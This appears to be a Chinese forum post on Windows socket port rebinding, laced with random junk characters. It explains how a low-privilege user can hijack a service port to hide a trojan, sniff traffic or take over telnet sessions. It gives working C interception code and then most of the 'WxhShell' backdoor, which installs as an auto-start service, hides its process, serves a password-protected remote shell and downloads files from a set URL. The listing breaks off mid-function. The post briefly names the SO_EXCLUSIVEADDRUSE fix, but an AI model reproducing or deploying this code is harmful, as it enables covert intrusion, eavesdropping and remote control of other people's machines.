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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v\}{eP'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @%^h|g8>Fu  
#210 Yp#  
  saddr.sin_family = AF_INET; $5Rx>$~+d  
JbXi|OS/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #V Z js`d6  
~ D/1U)kt  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~P*{%=a  
|"eC0u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5 <7sVd.  
~O3VX75f  
  这意味着什么?意味着可以进行如下的攻击: @CC 6 `D  
81)i>]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e :@PI(P!  
h6;zAM}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %+C6#cj  
58o&Dv6?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  ?H8dyQ5"  
-L wz T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "R% RI( y{  
6O*lZNN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f{{J_""?&  
)6px5Vwz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WkPT6d  
GB)< 5I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y%<CkgZS  
7(<r4{1?  
  #include d8p5a C+E  
  #include iY5V4Gbo  
  #include ?&VKZSo  
  #include    s Dsq:z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   In;+wFu;M  
  int main()  gq} c  
  { dl3}\o_  
  WORD wVersionRequested; !;Pp)SRzKG  
  DWORD ret; 9 {IDw   
  WSADATA wsaData; akWOE}5#  
  BOOL val; caV DV  
  SOCKADDR_IN saddr; ?0lz!Nq'S  
  SOCKADDR_IN scaddr; Nc?'},  
  int err; F|8;Swb5  
  SOCKET s; 1 r3} V7  
  SOCKET sc; v8C4BuwA  
  int caddsize; F]s:`4  
  HANDLE mt; ;ssI8\LG  
  DWORD tid;   t~8H~%T>v  
  wVersionRequested = MAKEWORD( 2, 2 ); 8U!$()^?  
  err = WSAStartup( wVersionRequested, &wsaData ); /+m2|Ij(  
  if ( err != 0 ) { wGx H  
  printf("error!WSAStartup failed!\n"); .-Dc%ap]  
  return -1; //%#?JJV  
  } NnaO!QW%  
  saddr.sin_family = AF_INET; `O0y8  
   kr-5O0tmf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aS~~*UHW  
jWdZ ]0m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  "+Sq}WR  
  saddr.sin_port = htons(23); {xh5s<uOj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UKPr[  
  { nwIj?(8x  
  printf("error!socket failed!\n"); @ 'U`a4  
  return -1; 6E.[F\u  
  } "{zqXM}:C  
  val = TRUE; `g0^ W/ j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z$zX%w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XWq"_$&LF  
  { 7U2B=]<e-  
  printf("error!setsockopt failed!\n"); kfZ(:3W$  
  return -1; <qEBF`XP=  
  } m!=5Q S3Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'pB?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w^,Xa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >Psq" Xj  
}>V=J aG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kp#XpcS  
  { #zBqj;p  
  ret=GetLastError(); -= izu]Fb,  
  printf("error!bind failed!\n"); Kf_xKW)^  
  return -1; m9+?>/R  
  } emB<{kOkw  
  listen(s,2); Ge7B%p8  
  while(1) {-f%g-@L6|  
  { M^>l>?#rl  
  caddsize = sizeof(scaddr); 8si{|*;hL  
  //接受连接请求 C ,|9VH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :"H? phk  
  if(sc!=INVALID_SOCKET) Of-xGo YZ  
  {  yK$aVK"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'hV(1Mw  
  if(mt==NULL) #,1z=/d.  
  { #kA?*i[T  
  printf("Thread Creat Failed!\n"); }[h]z7e2S  
  break; T<NOL fk66  
  } e4tC[6;  
  } yPs6_Qo!p  
  CloseHandle(mt); YMU""/(  
  } *<6dB#' J  
  closesocket(s); "?lz[K>  
  WSACleanup(); S8v?H|rm  
  return 0; 5h0Hk<N  
  }   Q"GM3?  
  DWORD WINAPI ClientThread(LPVOID lpParam) K2e *AE*  
  { -Fu,oEj{*  
  SOCKET ss = (SOCKET)lpParam; CDsl)  
  SOCKET sc; ('$*QC.M  
  unsigned char buf[4096]; 5 6.JB BZZ  
  SOCKADDR_IN saddr; :Ea|FAeK8  
  long num; DT)] [V^w  
  DWORD val; NGkxg:  
  DWORD ret; uOy/c 8`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $xq04ejJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   MX7Ix{  
  saddr.sin_family = AF_INET; z@pa;_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [@8po-()L  
  saddr.sin_port = htons(23); ZGsd cnz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "5O>egt  
  { ,d&3IhYhD  
  printf("error!socket failed!\n"); (v|<" tv  
  return -1; )*{B_[  
  } /h.{g0Xc  
  val = 100; =Y6W Qf  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GKSF(Tnj  
  { e84%Y8,0  
  ret = GetLastError(); |G$-5 7fk  
  return -1; jw {B8<@s  
  } y 5=r r3%v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wvxz:~M  
  { > /Q^.hzd  
  ret = GetLastError(); c$L1aZo  
  return -1; cfa1"u""e  
  } _@[W[= |H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ol+D"k~<C  
  { *AGf'+j*z  
  printf("error!socket connect failed!\n"); {6:*c  
  closesocket(sc); qQG? k~r  
  closesocket(ss); 3W_7xLA  
  return -1; 6o\uv  
  } S7nx4c2xK~  
  while(1) ~D4l64  
  { <!UnH6J.b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Wkjp:`(-$r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0'$67pY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H)gc"aRe;Y  
  num = recv(ss,buf,4096,0); F;}JSb"  
  if(num>0) 0zSz[;A  
  send(sc,buf,num,0); 2zh- ms  
  else if(num==0) ;R#RdUFH  
  break; 0 D '^:  
  num = recv(sc,buf,4096,0); <4vCx  
  if(num>0) 6Q]c}  
  send(ss,buf,num,0); 6Z J-oT!.  
  else if(num==0) [R%*C9Y d  
  break; ]j6pd*H  
  } d<Q%h?E  
  closesocket(ss); OQKg/1  
  closesocket(sc); U), HrI>;  
  return 0 ; A-=hvJ5T  
  } 0NZ'(qf~9  
!ae?EJm"  
W4d32+V  
========================================================== !8[A;+o3P  
Aixe?A_x  
下边附上一个代码,,WXhSHELL O)VcW/  
h`N2M,  
========================================================== *#Ia8^z=p  
a@W9\b@I  
#include "stdafx.h" <iU@ M31  
}k%6X@  
#include <stdio.h> }kvix{  
#include <string.h> r2.w4RMFua  
#include <windows.h> ZZo<0kDk  
#include <winsock2.h> # M/n\em"X  
#include <winsvc.h> uE9,N$\L_  
#include <urlmon.h> Q> y!  
s<!G2~T  
#pragma comment (lib, "Ws2_32.lib") Ul]7IUzsu  
#pragma comment (lib, "urlmon.lib") a}FyJp  
"ckK{kS4~  
#define MAX_USER   100 // 最大客户端连接数 7UW\|r  
#define BUF_SOCK   200 // sock buffer c]#}#RJ`\  
#define KEY_BUFF   255 // 输入 buffer %?gG-R  
hwXsfh |  
#define REBOOT     0   // 重启 16 `M=R  
#define SHUTDOWN   1   // 关机 zqNzWX  
w$f_z*/  
#define DEF_PORT   5000 // 监听端口 E#rQJ  
Bt@?l]Y  
#define REG_LEN     16   // 注册表键长度 1%B9xLq  
#define SVC_LEN     80   // NT服务名长度 Q2m[XcnX  
e3CFW_p  
// 从dll定义API l%GArH`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]i`Q+q[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^il$t]X5-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '{ =F/q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HLV8_~gQPf  
!vu-`u~86  
// wxhshell配置信息 MSM8wYcD  
struct WSCFG { T]&?^QGAZ  
  int ws_port;         // 监听端口 y<- ]'Yts  
  char ws_passstr[REG_LEN]; // 口令 ~v2(sRJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no mq4Zy3H   
  char ws_regname[REG_LEN]; // 注册表键名 IWq\M,P  
  char ws_svcname[REG_LEN]; // 服务名 /fT"WaTEK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /FXvrH(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d<j`=QH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +\_\53  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >^g2 Tg:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \a;xJzc9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GV1Ol^  
)GG9[%H!  
}; XTF[4#WO  
nD eVYK  
// default Wxhshell configuration (nB[aM  
struct WSCFG wscfg={DEF_PORT, (N&?Z]|yr  
    "xuhuanlingzhe", iKPgiL~  
    1, m\jjj^f a  
    "Wxhshell", AH'c:w]~  
    "Wxhshell", !zOj`lx  
            "WxhShell Service", Xv!Gg6v6  
    "Wrsky Windows CmdShell Service", &K'*67h  
    "Please Input Your Password: ", lJFy(^KQG,  
  1, w>X@ ,  
  "http://www.wrsky.com/wxhshell.exe", i,;eW&  
  "Wxhshell.exe" z-gMk@l  
    }; d6tv4Cf  
sNpA!!\PM  
// 消息定义模块 rMIX{K)'f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Jb*QlsGd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #p*uk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HJg&fkHn1  
char *msg_ws_ext="\n\rExit."; GP4!t~"1  
char *msg_ws_end="\n\rQuit."; r?[[.zm"7  
char *msg_ws_boot="\n\rReboot..."; 4bL *7bA  
char *msg_ws_poff="\n\rShutdown..."; *\'t$se+  
char *msg_ws_down="\n\rSave to "; T$u'+* Xx  
xf;>o$oN0P  
char *msg_ws_err="\n\rErr!"; 7/hn%obC  
char *msg_ws_ok="\n\rOK!"; YL|)`m0-^5  
084Us s  
char ExeFile[MAX_PATH]; J7",fb  
int nUser = 0; Yu" Q  
HANDLE handles[MAX_USER]; oCkG  
int OsIsNt; ].J;8}  
&D{!zF  
SERVICE_STATUS       serviceStatus; ZlC+DXg#S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Hm'fK$y(  
b3>zdS]Q  
// 函数声明 ]\|2=  
int Install(void); iupkb  
int Uninstall(void); \`~YW<D  
int DownloadFile(char *sURL, SOCKET wsh); ]3,9 ."^  
int Boot(int flag); {~9HJDcM  
void HideProc(void); e{87n>+,  
int GetOsVer(void); [8Y7Q5Had  
int Wxhshell(SOCKET wsl); |Y}YhUI&  
void TalkWithClient(void *cs); r@r*|50  
int CmdShell(SOCKET sock); <FBH;}]  
int StartFromService(void); Fl($0}ER  
int StartWxhshell(LPSTR lpCmdLine); o[KZm17  
:t`W&z41  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~xY"P)(x;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zOSUYn  
1QA/ !2E  
// 数据结构和表定义 B6&[_cht  
SERVICE_TABLE_ENTRY DispatchTable[] = ~x9J&*zxM  
{ 1o\2\B=k{  
{wscfg.ws_svcname, NTServiceMain}, #'KM$l,P  
{NULL, NULL} `qmwAT  
}; 6 L4\UT r  
qgl-,3GY%N  
// 自我安装 !4+Die X  
int Install(void) BQWg L  
{ {:"<E?+  
  char svExeFile[MAX_PATH]; vzfMME17  
  HKEY key; 25`W"x_  
  strcpy(svExeFile,ExeFile); N}VoO0I  
53aJnxX  
// 如果是win9x系统,修改注册表设为自启动 k?Hi_;o  
if(!OsIsNt) { LvS5N)[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ws3z-U>j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wf "$  
  RegCloseKey(key); p2l@6\m\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zP0<4E$M`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %K3U`6kHcd  
  RegCloseKey(key); v7@"9Uw}  
  return 0; 5|eX@?QF58  
    } J&'*N :d  
  } d_$0  
} 7Z:HwZ  
else { ~b#<HG\,,  
t*Ro2QZ  
// 如果是NT以上系统,安装为系统服务 1WqCezI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -a_qZ7  
if (schSCManager!=0) }*9F`=%F  
{ ]7k:3"wH  
  SC_HANDLE schService = CreateService ~u1~%  
  ( t1iz5%`p}  
  schSCManager, |7,$.MK-@  
  wscfg.ws_svcname, uZ_?x~V/  
  wscfg.ws_svcdisp, H74'I}  
  SERVICE_ALL_ACCESS, }03?eWk/y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <!G /&T  
  SERVICE_AUTO_START, sdCG}..`  
  SERVICE_ERROR_NORMAL, V}<<?_  
  svExeFile, fFbJE]jW  
  NULL, c%,ky$'18  
  NULL, )Rb t0   
  NULL, J|U~W kW  
  NULL, oq|o"n)~  
  NULL \2El>>  
  ); r%=a:GdAg  
  if (schService!=0) Ag:/iB ]  
  { rusM]Z  
  CloseServiceHandle(schService); E%E`\mFD  
  CloseServiceHandle(schSCManager); n7ZJ< ~wl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %2D'NZS  
  strcat(svExeFile,wscfg.ws_svcname); ts[8;<YD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7\$}|b[9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n)a/pO_  
  RegCloseKey(key); +fozE?  
  return 0; Yy/,I]F  
    } ;9)nG,P3  
  } fuHNsrNlm  
  CloseServiceHandle(schSCManager); <w~$S0_  
}  7Tr '<(A  
} pK{G2]OK{U  
Vo{ ~D:)  
return 1; jl 7>  
} 0[ "CP:u  
hA/Es?U]  
// 自我卸载 F3!6}u\F  
int Uninstall(void) &-NGVPk81`  
{ ZI$P Qz2i  
  HKEY key; ^o C>,%7  
qrOesSdc  
if(!OsIsNt) { 9b-4BON{P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %<Qv?`B  
  RegDeleteValue(key,wscfg.ws_regname); &=%M("IlD  
  RegCloseKey(key); wb#[&2i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tD}{/`{_t  
  RegDeleteValue(key,wscfg.ws_regname); ! Y UT*  
  RegCloseKey(key); !T)_(}|6}  
  return 0; A;ZluQ  
  } K( MZ!>{  
} $M-"az]  
} rFC9y o  
else { .u7grC C  
v%`k*n':  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E<B/5g!  
if (schSCManager!=0) m#Z9wf] F  
{ *}HDq(/>w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F @t\D?  
  if (schService!=0) B[w.8e5  
  { 4M>]0%3.D  
  if(DeleteService(schService)!=0) { mrsN@(X0  
  CloseServiceHandle(schService); 3\ )bg R:  
  CloseServiceHandle(schSCManager); %|/\Qu  
  return 0; d\A7}_r*x  
  } ~Odclrs  
  CloseServiceHandle(schService); &BKnJ {,H  
  } VWXyN  
  CloseServiceHandle(schSCManager); gQhYM7NP{5  
} c2GTN"  
} k?3mFWc  
qixnaiZ  
return 1; _ !"[Zr  
} buKkm$@w  
A;/,</  
// 从指定url下载文件 fE|"g'  
int DownloadFile(char *sURL, SOCKET wsh) rWM5&M  
{ *6_>/!ywI  
  HRESULT hr; I L&PN`#  
char seps[]= "/"; ZZxt90YR'5  
char *token; 4|j Pr J  
char *file; 4rCw#mVtB  
char myURL[MAX_PATH]; |l|$ Q;  
char myFILE[MAX_PATH]; ow,! 7|m  
NQ '|M  
strcpy(myURL,sURL); }DvT6  
  token=strtok(myURL,seps); :W-xsw  
  while(token!=NULL) $RRh}w\0^  
  { vls+E o]  
    file=token; b\NY!)B  
  token=strtok(NULL,seps); ffOV7Dxy  
  } 'UCClj;?K  
j6*e^ B  
GetCurrentDirectory(MAX_PATH,myFILE); Xe ^NVF  
strcat(myFILE, "\\"); h^H)p`[Gme  
strcat(myFILE, file); A}uWy^w  
  send(wsh,myFILE,strlen(myFILE),0); SrMfd7H8f  
send(wsh,"...",3,0); X*)DpbWd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L`w_Q2{sv  
  if(hr==S_OK) [4])\q^q  
return 0; HR'F  
else 6_w~#86=  
return 1; bI;u};v  
Xa U ^^K  
} o|s|Wm x>u  
8RZqoQDH  
// 系统电源模块 &$pQ Jf  
int Boot(int flag) Ni;jMc  
{ EUPc+D3  
  HANDLE hToken; \3 rgwbF  
  TOKEN_PRIVILEGES tkp; T%TO?[cN  
oSR;Im<2  
  if(OsIsNt) { sw(|EZ7F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c/-'^+9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r/+~4W5  
    tkp.PrivilegeCount = 1; );p:[=$71  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @&Af [X4s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ){tT B  
if(flag==REBOOT) { gHH[QLD=I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IV`+B<3  
  return 0; )\izL]=!t  
} eN  TKX  
else { {I$zmVG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,G$<J0R1  
  return 0; %x^U3"7  
} *M~BN}.  
  } ;T!ZO@1X  
  else { 2;SiH]HNS  
if(flag==REBOOT) { 0n?^I>j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +'g~3A-G  
  return 0; -0*z"a9<p8  
} DL '{ rK  
else { 7*Gg#XQ>(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hus9Zv4  
  return 0; Hq <!&  
} l8DZ2cw]  
} Bv}i#D  
}SW>ysw'm  
return 1; [-=y*lx %g  
} Jj+Hj[(@  
u>03l(X6f  
// win9x进程隐藏模块 ^K'XlM`a  
void HideProc(void) #/>OW2Ny  
{ 2J6(TrQ  
s%l^zA(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6l(HD([_p  
  if ( hKernel != NULL ) q+ 9c81b  
  { (;nh?"5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bh q]h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eC$ Jdf  
    FreeLibrary(hKernel); b;G#MjQp'  
  } 3gs7Xj%N  
Gl>*e|}  
return; j@jUuYuDgl  
} &UX:KW`=  
\2 `|eo  
// 获取操作系统版本 gCI{g. [I!  
int GetOsVer(void) h}GzQry1  
{ Up1e4mNL  
  OSVERSIONINFO winfo; /V>yF&p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `+T"^{ Z  
  GetVersionEx(&winfo); IKeO&]k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f2M}N  
  return 1; 6"c(5#H  
  else WP? AQD  
  return 0; 1n>(CwLG"  
} U{&gV~  
3c[TPD_:  
// 客户端句柄模块 4Mv]z^  
int Wxhshell(SOCKET wsl) `R_;n#3F0  
{ 2?(dS  
  SOCKET wsh; z~RE}k  
  struct sockaddr_in client; :>m67Zq  
  DWORD myID; +nQp_a1{9%  
n4Q ^   
  while(nUser<MAX_USER) yH',vC.  
{ Sk%*Zo{|  
  int nSize=sizeof(client); 6F3FcUL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p']oy;t  
  if(wsh==INVALID_SOCKET) return 1; y9Q.TL>=[  
te#Wv9x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0{.[#!CSk  
if(handles[nUser]==0) t|}}#Z!I[f  
  closesocket(wsh); pn aSOyR  
else /9@ VnM  
  nUser++; @A8@j%CK1  
  } j4]y(AA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sk~inIj-  
63pd W/\j  
  return 0; p2(Z(V7*  
} L<ET"&b;4  
LZ1)zoJ  
// 关闭 socket /n8\^4{fP{  
void CloseIt(SOCKET wsh) C\gKJW^]y@  
{ =$F<Ac;&  
closesocket(wsh); 8@d@T V!n&  
nUser--; V*F |Yo:  
ExitThread(0); C5EaP%s  
} #-bz$w#*  
}9 I,p$  
// 客户端请求句柄 o9c?)KQ  
void TalkWithClient(void *cs) G9r~O#=gy  
{ d&t,^Hj  
R b=q #  
  SOCKET wsh=(SOCKET)cs; k[]2S8K2  
  char pwd[SVC_LEN]; ix_&<?8  
  char cmd[KEY_BUFF]; ~ qezr\$2  
char chr[1]; CjUYwAy$k  
int i,j; gH|:=vfYUR  
7Nlk:f)*-  
  while (nUser < MAX_USER) { >AUzsQ  
`z<I<  
if(wscfg.ws_passstr) { 2 UPG8]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \MB$Cwc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +W}6o3x~  
  //ZeroMemory(pwd,KEY_BUFF); VqnM>||  
      i=0; t`E e/L%  
  while(i<SVC_LEN) { ?=V;5H.  
Z6IWQo,)Rh  
  // 设置超时 DN;3VT.-  
  fd_set FdRead; z?'z{+HY  
  struct timeval TimeOut; "g&hsp+i"A  
  FD_ZERO(&FdRead); wg]VG,  
  FD_SET(wsh,&FdRead); Oc%W_Gb7  
  TimeOut.tv_sec=8; g0:{{w  
  TimeOut.tv_usec=0; zx;~sUR;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U,7}VdO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jUd)|v+t  
<^Jdl.G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M^jEp  
  pwd=chr[0]; -qdt$jIM  
  if(chr[0]==0xd || chr[0]==0xa) { 28LYGrB  
  pwd=0; 1SSS0&  
  break; WM9z~z'2a  
  } EM,=R  
  i++; y=SVS3D  
    } J1@skj4#\~  
!:M+7kmr7t  
  // 如果是非法用户,关闭 socket KLgg([  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yVgHu#?PM  
} (W+aeB0  
kt7x}F(?<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EjP9/V G@=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l9f%?<2D  
xt1\Sie  
while(1) { 5Tq*]Z E  
I9*BT T]  
  ZeroMemory(cmd,KEY_BUFF); 3_ko=& B$  
(ty&$  
      // 自动支持客户端 telnet标准   5+a5p C  
  j=0; >Xw0i\G  
  while(j<KEY_BUFF) { C{OkbE"Vym  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hr3<vWAD  
  cmd[j]=chr[0]; puox^  
  if(chr[0]==0xa || chr[0]==0xd) { $) m$ c5!  
  cmd[j]=0; '+7"dHLC;  
  break; Ih)4.lLcKn  
  } z8cefD9F  
  j++; 1C(sBU"  
    } 2ae"Sd!-2  
<"{VVyK  
  // 下载文件 }mpFo 2  
  if(strstr(cmd,"http://")) { ~,.'#=V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ) (0=w4  
  if(DownloadFile(cmd,wsh)) D qHJ *x4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aATNeAR  
  else C!)ZRuRv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YFP<^y=  
  } }!V-FAL  
  else { UHR%0ae  
 Lr0:y o  
    switch(cmd[0]) { k5)a|  
  G%viWWTY  
  // 帮助 ( @V_47o  
  case '?': { |!{ Y:f;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `N8t2yF  
    break; }VeE4-p B  
  } c&C*'c-r  
  // 安装 2d&]V]:R*  
  case 'i': { ox5WboL  
    if(Install()) Z?u}?-b1\H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3%)@c P:?  
    else (C0Wty  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z{x)v5yh2V  
    break; /[E2+g  
    } b>Ea_3T/  
  // 卸载 OAf}\  
  case 'r': { [ps4i_  
    if(Uninstall()) 1)!2D?w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ik1asj1  
    else <Yg6=e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VxtX%McK  
    break; D>0(*O  
    } TG% w  
  // 显示 wxhshell 所在路径 |5jrl|  
  case 'p': { Up0kTL  
    char svExeFile[MAX_PATH]; i6<uj  
    strcpy(svExeFile,"\n\r"); MV]`[^xQ5  
      strcat(svExeFile,ExeFile); C-XJe~  
        send(wsh,svExeFile,strlen(svExeFile),0); 6q^\pJY%&7  
    break; -kHJH><j  
    } _=}.Sg5Q  
  // 重启 g'cVsO)S  
  case 'b': { aW9\h_$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xjD."q  
    if(Boot(REBOOT)) ~O|~M_Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z_Hkw3?  
    else { I51I(QF=  
    closesocket(wsh); ~F%sO'4!  
    ExitThread(0); q1v7(`O  
    } 29cx(  
    break; Gn<0Fy2  
    } 5p6/dlN-a  
  // 关机 f3S 8~!  
  case 'd': { ubRhJ~XB  
